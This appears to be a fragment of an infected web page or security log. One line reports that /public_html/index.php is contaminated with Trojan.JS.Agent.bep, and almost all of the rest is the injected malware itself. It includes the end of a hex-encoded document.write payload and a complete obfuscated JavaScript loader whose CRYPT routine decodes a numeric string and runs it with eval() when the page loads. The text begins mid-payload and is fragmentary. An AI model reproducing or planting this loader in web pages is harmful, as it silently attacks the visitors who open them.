192.168.1.129:4898->174.132.144.58:48112 
The file contains contaminated file /public_html/index.php/ with virus Trojan.JS.Agent.bep, so it is dropped.330253334253338253330253332253239253262253237253332253237253230253737253639253634253734253638253364253335253339253333253230253638253635253639253637253638253734253364253335253331'+c10zc+'253334253230253733253734253739253663253635253364253237253736253639253733253639253632253639253663253639253734253739253361'+c10zc+'253638253639253634253634253635253665253237253365253363253266253639253636253732253631'+c10zc+'2536642536352533652729293B7D7661'+c10zc+'72206D796961'+c10zc+'3D747275653B3C2F7363726970743E';r7d7d99b3a7.write(r9cc79a6a2(r8731280a));</script>

<script language="JavaScript">var CRYPT={signature:'BXcfTYewQ',_keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',decode:function(input){var output='';var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i++));enc2=this._keyStr.indexOf(input.charAt(i++));enc3=this._keyStr.indexOf(input.charAt(i++));enc4=this._keyStr.indexOf(input.charAt(i++));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|enc4;output=output+String.fromCharCode(chr1);if(enc3!=64){output=output+String.fromCharCode(chr2);}
if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utftext){var string='';var i=0;var c=0,c1=0,c2=0,c3=0;while(i<utftext.length){c=utftext.charCodeAt(i);if(c<128){string+=String.fromCharCode(c);i++;}else if((c>191)&&(c<224)){c2=utftext.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|(c2&63));i+=2;}else{c2=utftext.charCodeAt(i+1);c3=utftext.charCodeAt(i+2);string+=String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
return string;},obfuscate:function(str){var container='';for(var i=0,z=0;i<str.length;i=i+3,z++){container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z%this.signature.length,z%this.signature.length+1).charCodeAt(0));}
return CRYPT.decode(container);}}
eval(CRYPT.obfuscate('156159156208184176150227179176169216202135163213219152151199173224204201191229155170186186187187188152193187146171173213184161183238160171144217191193175218217152182192197212161206190169138182164149192133178188168185142139177213182140200236180137192218175189155152216168148136196170132194178202154169185170188196179151223129146171172222157194167241181138196214192168137206209152174210198173204193202203193183186149155192168222192124146155156214174199175223179153173142176205196162'));</script>